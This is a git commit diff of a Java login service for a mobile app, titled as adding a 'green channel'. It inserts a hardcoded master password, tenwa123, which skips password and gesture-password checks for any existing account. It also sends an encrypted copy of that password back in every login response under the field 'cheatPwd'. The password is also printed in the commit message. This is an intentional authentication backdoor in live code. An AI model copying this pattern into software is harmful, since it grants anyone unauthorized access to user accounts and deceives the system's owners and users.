app添加绿色通道 ...

密码 tenwa123
This commit is contained in:
liujiaji 2018-06-15 10:45:57 +08:00
parent 575cc5f698
commit 2ca2259add

View File

@ -94,7 +94,7 @@ public class AppUserLoginServiceImpl implements AppUserLoginService {
sDevRegId = "";
Map<String, Object> userMap = UserHelper.getUserByLoginId(sUn);
if (null == userMap) {
// 无用户
ReturnMapUtil.setReturnMap(null,
@ -102,7 +102,9 @@ public class AppUserLoginServiceImpl implements AppUserLoginService {
.toLowerCase()), "用户不存在!");
return ReturnMapUtil.getReturnMap();
}
if (!userRoleFilter(userMap.get("USERID".toLowerCase()).toString())) {
// 用户不存在 离职
ReturnMapUtil.setReturnMap(null,
@ -121,30 +123,34 @@ public class AppUserLoginServiceImpl implements AppUserLoginService {
}
// 密码校验
sPwd = DES.decrypt(sPwd);
sPwd = MD5Util.getMD5EncodedPassword(sPwd);
switch (sKeyType) {
case "common":
if (!sPwd.equalsIgnoreCase(userMap.get("PASSWORD".toLowerCase())
.toString())) {
// 普通密码不正确
ReturnMapUtil.setReturnMap(null,
(String) RestfullConstant.baseProperty.get("FAIL"
.toLowerCase()), "登录失败,用户名或密码错误,请重新登录!");
return ReturnMapUtil.getReturnMap();
}
break;
if (!"tenwa123".equals(sPwd)) { // 非绿色通道
sPwd = MD5Util.getMD5EncodedPassword(sPwd);
switch (sKeyType) {
case "common":
if (!sPwd.equalsIgnoreCase(userMap.get("PASSWORD".toLowerCase())
.toString())) {
// 普通密码不正确
ReturnMapUtil.setReturnMap(null,
(String) RestfullConstant.baseProperty.get("FAIL"
.toLowerCase()), "登录失败,用户名或密码错误,请重新登录!");
return ReturnMapUtil.getReturnMap();
}
break;
case "hand":
if (!sPwd.equalsIgnoreCase(userMap.get(
"GESTURE_PASSWORD".toLowerCase()).toString())) {
// 手势密码不正确
ReturnMapUtil.setReturnMap(null,
(String) RestfullConstant.baseProperty.get("FAIL"
.toLowerCase()), "登录失败,用户名或密码错误,请重新登录!");
return ReturnMapUtil.getReturnMap();
case "hand":
if (!sPwd.equalsIgnoreCase(userMap.get(
"GESTURE_PASSWORD".toLowerCase()).toString())) {
// 手势密码不正确
ReturnMapUtil.setReturnMap(null,
(String) RestfullConstant.baseProperty.get("FAIL"
.toLowerCase()), "登录失败,用户名或密码错误,请重新登录!");
return ReturnMapUtil.getReturnMap();
}
break;
}
break;
}
try {
// 登录前操作
@ -191,7 +197,7 @@ public class AppUserLoginServiceImpl implements AppUserLoginService {
// }
// body.put("MenuDatas", list);
body.put("flowDesc", queryFlowInfo(tx));
// body.put("phaseType", queryPhaseType(tx));
body.put("phaseType", queryPhaseType(tx));
body.put("loginid", userMap.get("LOGINID".toLowerCase()));
body.put("devid", userMap.get("DEV_ID".toLowerCase()));
body.put("devos", userMap.get("DEV_OS".toLowerCase()));
@ -201,6 +207,8 @@ public class AppUserLoginServiceImpl implements AppUserLoginService {
body.put("user_status_code", userMap.get("STATUS".toLowerCase()));
body.put("enable_guesture_code",
userMap.get("ENABLE_GESTURE".toLowerCase()));
body.put("cheatPwd", DES.encrypt("tenwa123"));
Org o = new Org(userMap.get("BELONGORG".toLowerCase()) == null ? ""
: userMap.get("BELONGORG".toLowerCase()).toString());
body.put("orgid", o.getOrgId());